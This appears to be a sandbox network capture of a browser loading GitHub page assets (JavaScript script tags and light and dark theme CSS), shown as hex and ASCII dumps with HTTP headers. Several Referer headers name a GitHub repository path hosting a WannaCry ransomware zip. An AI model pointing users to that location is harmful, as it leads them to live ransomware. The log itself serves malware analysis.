2024-03-23 14:47:20 UTC	1370	IN	Data Raw: 67 69 74 68 75 62 61 73 73 65 74 73 2e 63 6f 6d 2f 61 73 73 65 74 73 2f 76 65 6e 64 6f 72 73 2d 6e 6f 64 65 5f 6d 6f 64 75 6c 65 73 5f 73 74 61 63 6b 74 72 61 63 65 2d 70 61 72 73 65 72 5f 64 69 73 74 5f 73 74 61 63 6b 2d 74 72 61 63 65 2d 70 61 72 73 65 72 5f 65 73 6d 5f 6a 73 2d 6e 6f 64 65 5f 6d 6f 64 75 6c 65 73 5f 67 69 74 68 75 62 5f 62 72 6f 2d 61 34 63 31 38 33 2d 37 39 66 39 36 31 31 63 32 37 35 62 2e 6a 73 22 3e 3c 2f 73 63 72 69 70 74 3e 0a 3c 73 63 72 69 70 74 20 63 72 6f 73 73 6f 72 69 67 69 6e 3d 22 61 6e 6f 6e 79 6d 6f 75 73 22 20 64 65 66 65 72 3d 22 64 65 66 65 72 22 20 74 79 70 65 3d 22 61 70 70 6c 69 63 61 74 69 6f 6e 2f 6a 61 76 61 73 63 72 69 70 74 22 20 73 72 63 3d 22 68 74 74 70 73 3a 2f 2f 67 69 74 68 75 62 2e 67 69 74 68 75 62 61 Data Ascii: githubassets.com/assets/vendors-node_modules_stacktrace-parser_dist_stack-trace-parser_esm_js-node_modules_github_bro-a4c183-79f9611c275b.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githuba
2024-03-23 14:47:20 UTC	1370	IN	Data Raw: 65 72 22 20 74 79 70 65 3d 22 61 70 70 6c 69 63 61 74 69 6f 6e 2f 6a 61 76 61 73 63 72 69 70 74 22 20 73 72 63 3d 22 68 74 74 70 73 3a 2f 2f 67 69 74 68 75 62 2e 67 69 74 68 75 62 61 73 73 65 74 73 2e 63 6f 6d 2f 61 73 73 65 74 73 2f 76 65 6e 64 6f 72 73 2d 6e 6f 64 65 5f 6d 6f 64 75 6c 65 73 5f 67 69 74 68 75 62 5f 63 6f 6d 62 6f 62 6f 78 2d 6e 61 76 5f 64 69 73 74 5f 69 6e 64 65 78 5f 6a 73 2d 6e 6f 64 65 5f 6d 6f 64 75 6c 65 73 5f 67 69 74 68 75 62 5f 6d 61 72 6b 64 6f 77 6e 2d 74 6f 6f 6c 62 61 72 2d 65 2d 38 32 30 66 63 30 2d 62 63 38 66 30 32 62 39 36 37 34 39 2e 6a 73 22 3e 3c 2f 73 63 72 69 70 74 3e 0a 3c 73 63 72 69 70 74 20 63 72 6f 73 73 6f 72 69 67 69 6e 3d 22 61 6e 6f 6e 79 6d 6f 75 73 22 20 64 65 66 65 72 3d 22 64 65 66 65 72 22 20 74 79 70 Data Ascii: er" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_github_combobox-nav_dist_index_js-node_modules_github_markdown-toolbar-e-820fc0-bc8f02b96749.js"></script><script crossorigin="anonymous" defer="defer" typ
2024-03-23 14:47:20 UTC	1370	IN	Data Raw: 74 79 70 65 3d 22 61 70 70 6c 69 63 61 74 69 6f 6e 2f 6a 61 76 61 73 63 72 69 70 74 22 20 73 72 63 3d 22 68 74 74 70 73 3a 2f 2f 67 69 74 68 75 62 2e 67 69 74 68 75 62 61 73 73 65 74 73 2e 63 6f 6d 2f 61 73 73 65 74 73 2f 65 6c 65 6d 65 6e 74 2d 72 65 67 69 73 74 72 79 2d 66 62 34 62 38 64 34 30 66 32 30 36 2e 6a 73 22 3e 3c 2f 73 63 72 69 70 74 3e 0a 3c 73 63 72 69 70 74 20 63 72 6f 73 73 6f 72 69 67 69 6e 3d 22 61 6e 6f 6e 79 6d 6f 75 73 22 20 64 65 66 65 72 3d 22 64 65 66 65 72 22 20 74 79 70 65 3d 22 61 70 70 6c 69 63 61 74 69 6f 6e 2f 6a 61 76 61 73 63 72 69 70 74 22 20 73 72 63 3d 22 68 74 74 70 73 3a 2f 2f 67 69 74 68 75 62 2e 67 69 74 68 75 62 61 73 73 65 74 73 2e 63 6f 6d 2f 61 73 73 65 74 73 2f 76 65 6e 64 6f 72 73 2d 6e 6f 64 65 5f 6d 6f 64 75 Data Ascii: type="application/javascript" src="https://github.githubassets.com/assets/element-registry-fb4b8d40f206.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modu
2024-03-23 14:47:20 UTC	728	IN	Data Raw: 2d 37 32 63 39 66 62 64 65 35 61 64 34 2e 6a 73 22 3e 3c 2f 73 63 72 69 70 74 3e 0a 3c 73 63 72 69 70 74 20 63 72 6f 73 73 6f 72 69 67 69 6e 3d 22 61 6e 6f 6e 79 6d 6f 75 73 22 20 64 65 66 65 72 3d 22 64 65 66 65 72 22 20 74 79 70 65 3d 22 61 70 70 6c 69 63 61 74 69 6f 6e 2f 6a 61 76 61 73 63 72 69 70 74 22 20 73 72 63 3d 22 68 74 74 70 73 3a 2f 2f 67 69 74 68 75 62 2e 67 69 74 68 75 62 61 73 73 65 74 73 2e 63 6f 6d 2f 61 73 73 65 74 73 2f 76 65 6e 64 6f 72 73 2d 6e 6f 64 65 5f 6d 6f 64 75 6c 65 73 5f 70 72 69 6d 65 72 5f 62 65 68 61 76 69 6f 72 73 5f 64 69 73 74 5f 65 73 6d 5f 64 69 6d 65 6e 73 69 6f 6e 73 5f 6a 73 2d 6e 6f 64 65 5f 6d 6f 64 75 6c 65 73 5f 67 69 74 68 75 62 5f 6a 74 6d 6c 5f 6c 69 62 5f 69 6e 64 65 78 5f 6a 73 2d 39 35 62 38 34 65 65 36 Data Ascii: -72c9fbde5ad4.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_primer_behaviors_dist_esm_dimensions_js-node_modules_github_jtml_lib_index_js-95b84ee6
2024-03-23 14:47:20 UTC	1370	IN	Data Raw: 35 44 31 34 0d 0a 6f 73 73 6f 72 69 67 69 6e 3d 22 61 6e 6f 6e 79 6d 6f 75 73 22 20 64 65 66 65 72 3d 22 64 65 66 65 72 22 20 74 79 70 65 3d 22 61 70 70 6c 69 63 61 74 69 6f 6e 2f 6a 61 76 61 73 63 72 69 70 74 22 20 73 72 63 3d 22 68 74 74 70 73 3a 2f 2f 67 69 74 68 75 62 2e 67 69 74 68 75 62 61 73 73 65 74 73 2e 63 6f 6d 2f 61 73 73 65 74 73 2f 61 70 70 5f 61 73 73 65 74 73 5f 6d 6f 64 75 6c 65 73 5f 67 69 74 68 75 62 5f 62 65 68 61 76 69 6f 72 73 5f 74 61 73 6b 2d 6c 69 73 74 5f 74 73 2d 61 70 70 5f 61 73 73 65 74 73 5f 6d 6f 64 75 6c 65 73 5f 67 69 74 68 75 62 5f 6f 6e 66 6f 63 75 73 5f 74 73 2d 61 70 70 5f 61 73 73 2d 34 32 31 63 65 63 2d 39 64 65 34 32 31 33 30 31 35 61 66 2e 6a 73 22 3e 3c 2f 73 63 72 69 70 74 3e 0a 3c 73 63 72 69 70 74 20 63 72 6f Data Ascii: 5D14ossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/app_assets_modules_github_behaviors_task-list_ts-app_assets_modules_github_onfocus_ts-app_ass-421cec-9de4213015af.js"></script><script cro

Timestamp	Bytes transferred	Direction	Data
2024-03-23 14:47:21 UTC	656	OUT	GET /assets/light-0eace2597ca3.css HTTP/1.1 Host: github.githubassets.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" Origin: https://github.com sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: text/css,/;q=0.1 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: cors Sec-Fetch-Dest: style Referer: https://github.com/chronosmiki/RANSOMWARE-WANNACRY-2.0/blob/master/Ransomware.WannaCry.zip Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-03-23 14:47:21 UTC	675	IN	HTTP/1.1 200 OK Connection: close Content-Length: 113163 Cache-Control: public, max-age=31536000, immutable Content-Type: text/css Last-Modified: Wed, 24 Jan 2024 14:36:35 GMT ETag: 0x8DC1CE9DE118C7E Server: Windows-Azure-Blob/1.0 Microsoft-HTTPAPI/2.0 Via: 1.1 varnish, 1.1 varnish Accept-Ranges: bytes Date: Sat, 23 Mar 2024 14:47:21 GMT Age: 1563971 X-Served-By: cache-iad-kiad7000125-IAD, cache-ewr18131-EWR X-Cache: HIT, HIT X-Cache-Hits: 377, 1 Vary: Accept-Encoding Cross-Origin-Resource-Policy: cross-origin Access-Control-Allow-Origin: * Strict-Transport-Security: max-age=31536000 X-Fastly-Request-ID: d3ab200e0c4b0a5592fb67229a154334f1a5e692
2024-03-23 14:47:21 UTC	16384	IN	Data Raw: 3a 72 6f 6f 74 2c 5b 64 61 74 61 2d 63 6f 6c 6f 72 2d 6d 6f 64 65 3d 6c 69 67 68 74 5d 5b 64 61 74 61 2d 6c 69 67 68 74 2d 74 68 65 6d 65 3d 6c 69 67 68 74 5d 2c 5b 64 61 74 61 2d 63 6f 6c 6f 72 2d 6d 6f 64 65 3d 64 61 72 6b 5d 5b 64 61 74 61 2d 64 61 72 6b 2d 74 68 65 6d 65 3d 6c 69 67 68 74 5d 7b 2f 2a 21 20 2a 2f 7d 3a 72 6f 6f 74 2c 3a 72 6f 6f 74 3a 3a 73 65 6c 65 63 74 69 6f 6e 2c 5b 64 61 74 61 2d 63 6f 6c 6f 72 2d 6d 6f 64 65 3d 6c 69 67 68 74 5d 5b 64 61 74 61 2d 6c 69 67 68 74 2d 74 68 65 6d 65 3d 6c 69 67 68 74 5d 2c 5b 64 61 74 61 2d 63 6f 6c 6f 72 2d 6d 6f 64 65 3d 6c 69 67 68 74 5d 5b 64 61 74 61 2d 6c 69 67 68 74 2d 74 68 65 6d 65 3d 6c 69 67 68 74 5d 3a 3a 73 65 6c 65 63 74 69 6f 6e 2c 5b 64 61 74 61 2d 63 6f 6c 6f 72 2d 6d 6f 64 65 3d 64 Data Ascii: :root,[data-color-mode=light][data-light-theme=light],[data-color-mode=dark][data-dark-theme=light]{/! /}:root,:root::selection,[data-color-mode=light][data-light-theme=light],[data-color-mode=light][data-light-theme=light]::selection,[data-color-mode=d
2024-03-23 14:47:21 UTC	16384	IN	Data Raw: 2d 2d 63 6f 6c 6f 72 2d 73 63 61 6c 65 2d 67 72 61 79 2d 35 3a 20 23 36 65 37 37 38 31 3b 2d 2d 63 6f 6c 6f 72 2d 73 63 61 6c 65 2d 67 72 61 79 2d 36 3a 20 23 35 37 36 30 36 61 3b 2d 2d 63 6f 6c 6f 72 2d 73 63 61 6c 65 2d 67 72 61 79 2d 37 3a 20 23 34 32 34 61 35 33 3b 2d 2d 63 6f 6c 6f 72 2d 73 63 61 6c 65 2d 67 72 61 79 2d 38 3a 20 23 33 32 33 38 33 66 3b 2d 2d 63 6f 6c 6f 72 2d 73 63 61 6c 65 2d 67 72 61 79 2d 39 3a 20 23 32 34 32 39 32 66 3b 2d 2d 63 6f 6c 6f 72 2d 73 63 61 6c 65 2d 62 6c 75 65 2d 30 3a 20 23 64 64 66 34 66 66 3b 2d 2d 63 6f 6c 6f 72 2d 73 63 61 6c 65 2d 62 6c 75 65 2d 31 3a 20 23 62 36 65 33 66 66 3b 2d 2d 63 6f 6c 6f 72 2d 73 63 61 6c 65 2d 62 6c 75 65 2d 32 3a 20 23 38 30 63 63 66 66 3b 2d 2d 63 6f 6c 6f 72 2d 73 63 61 6c 65 2d 62 Data Ascii: --color-scale-gray-5: #6e7781;--color-scale-gray-6: #57606a;--color-scale-gray-7: #424a53;--color-scale-gray-8: #32383f;--color-scale-gray-9: #24292f;--color-scale-blue-0: #ddf4ff;--color-scale-blue-1: #b6e3ff;--color-scale-blue-2: #80ccff;--color-scale-b
2024-03-23 14:47:21 UTC	16384	IN	Data Raw: 20 23 35 34 61 65 66 66 3b 2d 2d 63 6f 6c 6f 72 2d 66 67 2d 64 65 66 61 75 6c 74 3a 20 23 31 46 32 33 32 38 3b 2d 2d 63 6f 6c 6f 72 2d 66 67 2d 6d 75 74 65 64 3a 20 23 36 35 36 64 37 36 3b 2d 2d 63 6f 6c 6f 72 2d 66 67 2d 73 75 62 74 6c 65 3a 20 23 36 65 37 37 38 31 3b 2d 2d 63 6f 6c 6f 72 2d 66 67 2d 6f 6e 2d 65 6d 70 68 61 73 69 73 3a 20 23 66 66 66 66 66 66 3b 2d 2d 63 6f 6c 6f 72 2d 63 61 6e 76 61 73 2d 64 65 66 61 75 6c 74 3a 20 23 66 66 66 66 66 66 3b 2d 2d 63 6f 6c 6f 72 2d 63 61 6e 76 61 73 2d 6f 76 65 72 6c 61 79 3a 20 23 66 66 66 66 66 66 3b 2d 2d 63 6f 6c 6f 72 2d 63 61 6e 76 61 73 2d 69 6e 73 65 74 3a 20 23 66 36 66 38 66 61 3b 2d 2d 63 6f 6c 6f 72 2d 63 61 6e 76 61 73 2d 73 75 62 74 6c 65 3a 20 23 66 36 66 38 66 61 3b 2d 2d 63 6f 6c 6f 72 2d Data Ascii: #54aeff;--color-fg-default: #1F2328;--color-fg-muted: #656d76;--color-fg-subtle: #6e7781;--color-fg-on-emphasis: #ffffff;--color-canvas-default: #ffffff;--color-canvas-overlay: #ffffff;--color-canvas-inset: #f6f8fa;--color-canvas-subtle: #f6f8fa;--color-
2024-03-23 14:47:21 UTC	16384	IN	Data Raw: 65 72 3a 20 72 67 62 61 28 33 31 2c 33 35 2c 34 30 2c 30 2e 31 35 29 3b 2d 2d 63 6f 6c 6f 72 2d 62 74 6e 2d 64 61 6e 67 65 72 2d 73 65 6c 65 63 74 65 64 2d 73 68 61 64 6f 77 3a 20 69 6e 73 65 74 20 30 20 31 70 78 20 30 20 72 67 62 61 28 37 36 2c 30 2c 32 30 2c 30 2e 32 29 3b 2d 2d 63 6f 6c 6f 72 2d 62 74 6e 2d 64 61 6e 67 65 72 2d 64 69 73 61 62 6c 65 64 2d 74 65 78 74 3a 20 72 67 62 61 28 32 30 37 2c 33 34 2c 34 36 2c 30 2e 35 29 3b 2d 2d 63 6f 6c 6f 72 2d 62 74 6e 2d 64 61 6e 67 65 72 2d 64 69 73 61 62 6c 65 64 2d 62 67 3a 20 23 66 36 66 38 66 61 3b 2d 2d 63 6f 6c 6f 72 2d 62 74 6e 2d 64 61 6e 67 65 72 2d 64 69 73 61 62 6c 65 64 2d 63 6f 75 6e 74 65 72 2d 62 67 3a 20 72 67 62 61 28 32 30 37 2c 33 34 2c 34 36 2c 30 2e 30 35 29 3b 2d 2d 63 6f 6c 6f 72 2d Data Ascii: er: rgba(31,35,40,0.15);--color-btn-danger-selected-shadow: inset 0 1px 0 rgba(76,0,20,0.2);--color-btn-danger-disabled-text: rgba(207,34,46,0.5);--color-btn-danger-disabled-bg: #f6f8fa;--color-btn-danger-disabled-counter-bg: rgba(207,34,46,0.05);--color-
2024-03-23 14:47:21 UTC	16384	IN	Data Raw: 30 20 72 67 62 61 28 32 35 35 2c 32 35 35 2c 32 35 35 2c 30 2e 32 35 29 3b 2d 2d 63 6f 6c 6f 72 2d 62 74 6e 2d 68 6f 76 65 72 2d 62 67 3a 20 23 66 33 66 34 66 36 3b 2d 2d 63 6f 6c 6f 72 2d 62 74 6e 2d 68 6f 76 65 72 2d 62 6f 72 64 65 72 3a 20 72 67 62 61 28 33 31 2c 33 35 2c 34 30 2c 30 2e 31 35 29 3b 2d 2d 63 6f 6c 6f 72 2d 62 74 6e 2d 61 63 74 69 76 65 2d 62 67 3a 20 68 73 6c 61 28 32 32 30 2c 31 34 25 2c 39 33 25 2c 31 29 3b 2d 2d 63 6f 6c 6f 72 2d 62 74 6e 2d 61 63 74 69 76 65 2d 62 6f 72 64 65 72 3a 20 72 67 62 61 28 33 31 2c 33 35 2c 34 30 2c 30 2e 31 35 29 3b 2d 2d 63 6f 6c 6f 72 2d 62 74 6e 2d 73 65 6c 65 63 74 65 64 2d 62 67 3a 20 68 73 6c 61 28 32 32 30 2c 31 34 25 2c 39 34 25 2c 31 29 3b 2d 2d 63 6f 6c 6f 72 2d 62 74 6e 2d 63 6f 75 6e 74 65 72 Data Ascii: 0 rgba(255,255,255,0.25);--color-btn-hover-bg: #f3f4f6;--color-btn-hover-border: rgba(31,35,40,0.15);--color-btn-active-bg: hsla(220,14%,93%,1);--color-btn-active-border: rgba(31,35,40,0.15);--color-btn-selected-bg: hsla(220,14%,94%,1);--color-btn-counter
2024-03-23 14:47:21 UTC	16384	IN	Data Raw: 74 61 3a 20 23 63 32 39 37 66 66 3b 2d 2d 63 6f 6c 6f 72 2d 63 68 65 63 6b 73 2d 61 6e 73 69 2d 6d 61 67 65 6e 74 61 2d 62 72 69 67 68 74 3a 20 23 64 38 62 39 66 66 3b 2d 2d 63 6f 6c 6f 72 2d 63 68 65 63 6b 73 2d 61 6e 73 69 2d 63 79 61 6e 3a 20 23 37 36 65 33 65 61 3b 2d 2d 63 6f 6c 6f 72 2d 63 68 65 63 6b 73 2d 61 6e 73 69 2d 63 79 61 6e 2d 62 72 69 67 68 74 3a 20 23 62 33 66 30 66 66 3b 2d 2d 63 6f 6c 6f 72 2d 70 72 6f 6a 65 63 74 2d 68 65 61 64 65 72 2d 62 67 3a 20 23 32 34 32 39 32 66 3b 2d 2d 63 6f 6c 6f 72 2d 70 72 6f 6a 65 63 74 2d 73 69 64 65 62 61 72 2d 62 67 3a 20 23 66 66 66 66 66 66 3b 2d 2d 63 6f 6c 6f 72 2d 70 72 6f 6a 65 63 74 2d 67 72 61 64 69 65 6e 74 2d 69 6e 3a 20 23 66 66 66 66 66 66 3b 2d 2d 63 6f 6c 6f 72 2d 70 72 6f 6a 65 63 74 2d Data Ascii: ta: #c297ff;--color-checks-ansi-magenta-bright: #d8b9ff;--color-checks-ansi-cyan: #76e3ea;--color-checks-ansi-cyan-bright: #b3f0ff;--color-project-header-bg: #24292f;--color-project-sidebar-bg: #ffffff;--color-project-gradient-in: #ffffff;--color-project-
2024-03-23 14:47:21 UTC	14859	IN	Data Raw: 35 39 66 3b 2d 2d 63 6f 6c 6f 72 2d 63 68 65 63 6b 73 2d 69 6e 70 75 74 2d 62 67 3a 20 23 33 32 33 38 33 66 3b 2d 2d 63 6f 6c 6f 72 2d 63 68 65 63 6b 73 2d 69 6e 70 75 74 2d 73 68 61 64 6f 77 3a 20 6e 6f 6e 65 3b 2d 2d 63 6f 6c 6f 72 2d 63 68 65 63 6b 73 2d 64 6f 6e 75 74 2d 65 72 72 6f 72 3a 20 23 66 61 34 35 34 39 3b 2d 2d 63 6f 6c 6f 72 2d 63 68 65 63 6b 73 2d 64 6f 6e 75 74 2d 70 65 6e 64 69 6e 67 3a 20 23 62 66 38 37 30 30 3b 2d 2d 63 6f 6c 6f 72 2d 63 68 65 63 6b 73 2d 64 6f 6e 75 74 2d 73 75 63 63 65 73 73 3a 20 23 31 66 38 38 33 64 3b 2d 2d 63 6f 6c 6f 72 2d 63 68 65 63 6b 73 2d 64 6f 6e 75 74 2d 6e 65 75 74 72 61 6c 3a 20 23 61 66 62 38 63 31 3b 2d 2d 63 6f 6c 6f 72 2d 63 68 65 63 6b 73 2d 64 72 6f 70 64 6f 77 6e 2d 74 65 78 74 3a 20 23 61 66 62 Data Ascii: 59f;--color-checks-input-bg: #32383f;--color-checks-input-shadow: none;--color-checks-donut-error: #fa4549;--color-checks-donut-pending: #bf8700;--color-checks-donut-success: #1f883d;--color-checks-donut-neutral: #afb8c1;--color-checks-dropdown-text: #afb

Timestamp	Bytes transferred	Direction	Data
2024-03-23 14:47:21 UTC	655	OUT	GET /assets/dark-a167e256da9c.css HTTP/1.1 Host: github.githubassets.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" Origin: https://github.com sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: text/css,/;q=0.1 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: cors Sec-Fetch-Dest: style Referer: https://github.com/chronosmiki/RANSOMWARE-WANNACRY-2.0/blob/master/Ransomware.WannaCry.zip Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-03-23 14:47:21 UTC	676	IN	HTTP/1.1 200 OK Connection: close Content-Length: 113052 Cache-Control: public, max-age=31536000, immutable Content-Type: text/css Last-Modified: Wed, 24 Jan 2024 14:36:34 GMT ETag: 0x8DC1CE9DD51FA52 Server: Windows-Azure-Blob/1.0 Microsoft-HTTPAPI/2.0 Via: 1.1 varnish, 1.1 varnish Accept-Ranges: bytes Date: Sat, 23 Mar 2024 14:47:21 GMT Age: 2601280 X-Served-By: cache-iad-kiad7000046-IAD, cache-lga21940-LGA X-Cache: HIT, HIT X-Cache-Hits: 3906, 1 Vary: Accept-Encoding Cross-Origin-Resource-Policy: cross-origin Access-Control-Allow-Origin: * Strict-Transport-Security: max-age=31536000 X-Fastly-Request-ID: 755635397bed8fd5280f7852e78e4361f1809369
2024-03-23 14:47:21 UTC	16384	IN	Data Raw: 5b 64 61 74 61 2d 63 6f 6c 6f 72 2d 6d 6f 64 65 3d 6c 69 67 68 74 5d 5b 64 61 74 61 2d 6c 69 67 68 74 2d 74 68 65 6d 65 3d 64 61 72 6b 5d 2c 5b 64 61 74 61 2d 63 6f 6c 6f 72 2d 6d 6f 64 65 3d 6c 69 67 68 74 5d 5b 64 61 74 61 2d 6c 69 67 68 74 2d 74 68 65 6d 65 3d 64 61 72 6b 5d 3a 3a 73 65 6c 65 63 74 69 6f 6e 2c 5b 64 61 74 61 2d 63 6f 6c 6f 72 2d 6d 6f 64 65 3d 64 61 72 6b 5d 5b 64 61 74 61 2d 64 61 72 6b 2d 74 68 65 6d 65 3d 64 61 72 6b 5d 2c 5b 64 61 74 61 2d 63 6f 6c 6f 72 2d 6d 6f 64 65 3d 64 61 72 6b 5d 5b 64 61 74 61 2d 64 61 72 6b 2d 74 68 65 6d 65 3d 64 61 72 6b 5d 3a 3a 73 65 6c 65 63 74 69 6f 6e 7b 2d 2d 63 6f 6c 6f 72 2d 63 61 6e 76 61 73 2d 64 65 66 61 75 6c 74 2d 74 72 61 6e 73 70 61 72 65 6e 74 3a 20 72 67 62 61 28 31 33 2c 31 37 2c 32 33 Data Ascii: [data-color-mode=light][data-light-theme=dark],[data-color-mode=light][data-light-theme=dark]::selection,[data-color-mode=dark][data-dark-theme=dark],[data-color-mode=dark][data-dark-theme=dark]::selection{--color-canvas-default-transparent: rgba(13,17,23
2024-03-23 14:47:21 UTC	16384	IN	Data Raw: 73 63 61 6c 65 2d 67 72 61 79 2d 39 3a 20 23 30 64 31 31 31 37 3b 2d 2d 63 6f 6c 6f 72 2d 73 63 61 6c 65 2d 62 6c 75 65 2d 30 3a 20 23 63 61 65 38 66 66 3b 2d 2d 63 6f 6c 6f 72 2d 73 63 61 6c 65 2d 62 6c 75 65 2d 31 3a 20 23 61 35 64 36 66 66 3b 2d 2d 63 6f 6c 6f 72 2d 73 63 61 6c 65 2d 62 6c 75 65 2d 32 3a 20 23 37 39 63 30 66 66 3b 2d 2d 63 6f 6c 6f 72 2d 73 63 61 6c 65 2d 62 6c 75 65 2d 33 3a 20 23 35 38 61 36 66 66 3b 2d 2d 63 6f 6c 6f 72 2d 73 63 61 6c 65 2d 62 6c 75 65 2d 34 3a 20 23 33 38 38 62 66 64 3b 2d 2d 63 6f 6c 6f 72 2d 73 63 61 6c 65 2d 62 6c 75 65 2d 35 3a 20 23 31 66 36 66 65 62 3b 2d 2d 63 6f 6c 6f 72 2d 73 63 61 6c 65 2d 62 6c 75 65 2d 36 3a 20 23 31 31 35 38 63 37 3b 2d 2d 63 6f 6c 6f 72 2d 73 63 61 6c 65 2d 62 6c 75 65 2d 37 3a 20 23 Data Ascii: scale-gray-9: #0d1117;--color-scale-blue-0: #cae8ff;--color-scale-blue-1: #a5d6ff;--color-scale-blue-2: #79c0ff;--color-scale-blue-3: #58a6ff;--color-scale-blue-4: #388bfd;--color-scale-blue-5: #1f6feb;--color-scale-blue-6: #1158c7;--color-scale-blue-7: #
2024-03-23 14:47:21 UTC	16384	IN	Data Raw: 6c 6f 72 2d 63 61 6e 76 61 73 2d 64 65 66 61 75 6c 74 3a 20 23 30 64 31 31 31 37 3b 2d 2d 63 6f 6c 6f 72 2d 63 61 6e 76 61 73 2d 6f 76 65 72 6c 61 79 3a 20 23 31 36 31 62 32 32 3b 2d 2d 63 6f 6c 6f 72 2d 63 61 6e 76 61 73 2d 69 6e 73 65 74 3a 20 23 30 31 30 34 30 39 3b 2d 2d 63 6f 6c 6f 72 2d 63 61 6e 76 61 73 2d 73 75 62 74 6c 65 3a 20 23 31 36 31 62 32 32 3b 2d 2d 63 6f 6c 6f 72 2d 62 6f 72 64 65 72 2d 64 65 66 61 75 6c 74 3a 20 23 33 30 33 36 33 64 3b 2d 2d 63 6f 6c 6f 72 2d 62 6f 72 64 65 72 2d 6d 75 74 65 64 3a 20 23 32 31 32 36 32 64 3b 2d 2d 63 6f 6c 6f 72 2d 62 6f 72 64 65 72 2d 73 75 62 74 6c 65 3a 20 72 67 62 61 28 32 34 30 2c 32 34 36 2c 32 35 32 2c 30 2e 31 29 3b 2d 2d 63 6f 6c 6f 72 2d 73 68 61 64 6f 77 2d 73 6d 61 6c 6c 3a 20 30 20 30 20 74 Data Ascii: lor-canvas-default: #0d1117;--color-canvas-overlay: #161b22;--color-canvas-inset: #010409;--color-canvas-subtle: #161b22;--color-border-default: #30363d;--color-border-muted: #21262d;--color-border-subtle: rgba(240,246,252,0.1);--color-shadow-small: 0 0 t
2024-03-23 14:47:21 UTC	16384	IN	Data Raw: 3b 2d 2d 63 6f 6c 6f 72 2d 62 74 6e 2d 64 61 6e 67 65 72 2d 64 69 73 61 62 6c 65 64 2d 62 67 3a 20 23 30 64 31 31 31 37 3b 2d 2d 63 6f 6c 6f 72 2d 62 74 6e 2d 64 61 6e 67 65 72 2d 64 69 73 61 62 6c 65 64 2d 63 6f 75 6e 74 65 72 2d 62 67 3a 20 72 67 62 61 28 32 31 38 2c 35 34 2c 35 31 2c 30 2e 30 35 29 3b 2d 2d 63 6f 6c 6f 72 2d 62 74 6e 2d 64 61 6e 67 65 72 2d 63 6f 75 6e 74 65 72 2d 62 67 3a 20 72 67 62 61 28 37 33 2c 32 2c 32 2c 30 2e 32 29 3b 2d 2d 63 6f 6c 6f 72 2d 62 74 6e 2d 64 61 6e 67 65 72 2d 69 63 6f 6e 3a 20 23 66 38 35 31 34 39 3b 2d 2d 63 6f 6c 6f 72 2d 62 74 6e 2d 64 61 6e 67 65 72 2d 63 6f 75 6e 74 65 72 2d 66 67 3a 20 23 66 38 35 31 34 39 3b 2d 2d 63 6f 6c 6f 72 2d 62 74 6e 2d 64 61 6e 67 65 72 2d 64 69 73 61 62 6c 65 64 2d 63 6f 75 6e 74 Data Ascii: ;--color-btn-danger-disabled-bg: #0d1117;--color-btn-danger-disabled-counter-bg: rgba(218,54,51,0.05);--color-btn-danger-counter-bg: rgba(73,2,2,0.2);--color-btn-danger-icon: #f85149;--color-btn-danger-counter-fg: #f85149;--color-btn-danger-disabled-count
2024-03-23 14:47:21 UTC	16384	IN	Data Raw: 72 61 6e 73 70 61 72 65 6e 74 3b 2d 2d 63 6f 6c 6f 72 2d 62 74 6e 2d 69 6e 73 65 74 2d 73 68 61 64 6f 77 3a 20 30 20 30 20 74 72 61 6e 73 70 61 72 65 6e 74 3b 2d 2d 63 6f 6c 6f 72 2d 62 74 6e 2d 68 6f 76 65 72 2d 62 67 3a 20 23 33 30 33 36 33 64 3b 2d 2d 63 6f 6c 6f 72 2d 62 74 6e 2d 68 6f 76 65 72 2d 62 6f 72 64 65 72 3a 20 23 38 62 39 34 39 65 3b 2d 2d 63 6f 6c 6f 72 2d 62 74 6e 2d 61 63 74 69 76 65 2d 62 67 3a 20 68 73 6c 61 28 32 31 32 2c 31 32 25 2c 31 38 25 2c 31 29 3b 2d 2d 63 6f 6c 6f 72 2d 62 74 6e 2d 61 63 74 69 76 65 2d 62 6f 72 64 65 72 3a 20 23 36 65 37 36 38 31 3b 2d 2d 63 6f 6c 6f 72 2d 62 74 6e 2d 73 65 6c 65 63 74 65 64 2d 62 67 3a 20 23 31 36 31 62 32 32 3b 2d 2d 63 6f 6c 6f 72 2d 62 74 6e 2d 63 6f 75 6e 74 65 72 2d 62 67 3a 20 23 33 30 Data Ascii: ransparent;--color-btn-inset-shadow: 0 0 transparent;--color-btn-hover-bg: #30363d;--color-btn-hover-border: #8b949e;--color-btn-active-bg: hsla(212,12%,18%,1);--color-btn-active-border: #6e7681;--color-btn-selected-bg: #161b22;--color-btn-counter-bg: #30
